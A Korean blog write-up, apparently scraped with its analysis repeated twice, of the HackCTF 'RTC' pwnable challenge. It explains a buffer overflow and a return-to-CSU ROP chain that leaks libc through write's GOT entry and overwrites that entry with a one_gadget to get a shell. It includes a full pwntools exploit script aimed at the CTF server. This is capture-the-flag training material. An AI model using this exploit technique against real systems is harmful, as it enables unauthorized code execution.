Return To CSU를 이용하는 방법
Canary : ✘ NX : ✓ PIE : ✘ Fortify : ✘ RelRO : Partial
{ undefined local_48 [64]; setvbuf(stdin,(char *)0x0,2,0); write(1,"Hey, ROP! What\'s Up?\n",0x15); read(0,local_48,0x200); return; }
1. local_48의 크기는 64byte
2. read 함수를 이용하여 0x200만큼 입력받음( 이부분에서 BOF 취약점이 일어나고, ROP 사용 가능)
gef➤ x/20gx $rsp 0x7fffffffdfa0: 0x4141414141414141 0x4242424242424242 0x7fffffffdfb0: 0x00007ffff7faff0a 0x0000000000400660 0x7fffffffdfc0: 0x0000000000000000 0x0000000000400500 0x7fffffffdfd0: 0x00007fffffffe0d0 0x0000000000000000 0x7fffffffdfe0: 0x0000000000000000 0x00007ffff7de60b3 0x7fffffffdff0: 0x0000000100000001 0x00007fffffffe0d8 0x7fffffffe000: 0x00000001f7fa7618 0x00000000004005f6 0x7fffffffe010: 0x0000000000400660 0xec22dc834cf962a2 0x7fffffffe020: 0x0000000000400500 0x00007fffffffe0d0 0x7fffffffe030: 0x0000000000000000 0x0000000000000000 gef➤ x/gx $rbp+8 0x7fffffffdfe8: 0x00007ffff7de60b3 gef➤ p/x 0x7fffffffdfe8 - 0x7fffffffdfa0 $1 = 0x48
입력받은 값과 RET과의 거리는 0x48
RTC를 사용하여 쉘을 얻어내려면 다음과 같은 과정으로 이루어져야한다.
1. write함수를 이용하여 아무 함수의 got를 leak
2. leak한 함수의 got 주소를 이용하여 libc의 base 주소를 leak
3. 공격에 필요한 함수의 주소를 구한다
4. leak한 후, main으로 돌아가 공격
5. 공격에는 3에서 leak한 one_gadget의 주소를 write_got에 덮어준 후, main으로 돌아간다
6. main으로 돌아가면서 write함수가 실행되고, one_gadget이 실행되는 구조
main으로 돌아가기 위해서는 다음과 같은 주소가 필요하다.
0x4005f6
해당 주소는 __libc_csu_init 내부에 있는 주소인데, 해당 주소를 이용하여 ret을 사용 가능하다.
0x40067b를 호출하게 되면, 쭉 내려가 JZ LAB_004006b6으로 가고, LAB_00400b6으로 점프하게 된다.
이때 스택를 정리해주기 위해 p64(0x0)*8+실행하고자 하는 주소을 넣어주게 되면 pop으로 인해 정리가 되고 원하는 함수로 실행이 가능해진다.
from pwn import * context.arch = "amd64" #context.log_level = "debug" p = remote('ctf.j0n9hyun.xyz', 3025) e = ELF('./rtc') libc = ELF('./libc.so.6') csu_a = 0x004006a0 csu_b = 0x004006b6 csu_c = 0x40067b one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147] def rtc_chain(addr, A, B, C, jo): payload = b'' payload += b'A'*8 payload += p64(0) payload += p64(1) payload += p64(addr) payload += p64(C) payload += p64(B) payload += p64(A) if(jo == 1): payload += p64(csu_a) return payload elif(jo == 0): return payload # Stage 1 payload = b"a"*0x48 payload += p64(csu_b) payload += rtc_chain(e.got['write'], 1, e.got['write'], 8, 1) payload += p64(csu_c) payload += p64(0)*6 payload += p64(0x4005f6) # main address p.sendlineafter('Up?\n', payload) # Leak address leak_write = u64(p.recvuntil("\x7f")[-6:] + b"\x00\x00") leak_base = leak_write - libc.symbols['write'] system = leak_base + libc.symbols['system'] one = leak_base + one_gadget[0] # Stage 2 # got_write -> one_gadget -> go to main -> write func call -> one_gadget execute log.info('Stage 2') payload1 = b"a"*0x48 payload1 += p64(csu_b) payload1 += rtc_chain(e.got['read'], 0, e.got['write'], 16, 1) payload1 += p64(csu_c) payload1 += p64(0)*6 payload1 += p64(0x4005f6) # main address p.sendlineafter('Up?\n', payload1) p.send(p64(one)) p.interactive()
HackCTF - RTC
요약
Return To CSU를 이용하는 방법
보호기법
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial
분석
1. local_48의 크기는 64byte
2. read 함수를 이용하여 0x200만큼 입력받음( 이부분에서 BOF 취약점이 일어나고, ROP 사용 가능)
입력받은 값과 RET과의 거리는 0x48
RTC를 사용하여 쉘을 얻어내려면 다음과 같은 과정으로 이루어져야한다.
1. write함수를 이용하여 아무 함수의 got를 leak
2. leak한 함수의 got 주소를 이용하여 libc의 base 주소를 leak
3. 공격에 필요한 함수의 주소를 구한다
4. leak한 후, main으로 돌아가 공격
5. 공격에는 3에서 leak한 one_gadget의 주소를 write_got에 덮어준 후, main으로 돌아간다
6. main으로 돌아가면서 write함수가 실행되고, one_gadget이 실행되는 구조
main으로 돌아가기 위해서는 다음과 같은 주소가 필요하다.
해당 주소는 __libc_csu_init 내부에 있는 주소인데, 해당 주소를 이용하여 ret을 사용 가능하다.
0x40067b를 호출하게 되면, 쭉 내려가 JZ LAB_004006b6으로 가고, LAB_00400b6으로 점프하게 된다.
이때 스택를 정리해주기 위해 p64(0x0)*8+실행하고자 하는 주소을 넣어주게 되면 pop으로 인해 정리가 되고 원하는 함수로 실행이 가능해진다.
Exploit Code
'HackCTF' 카테고리의 다른 글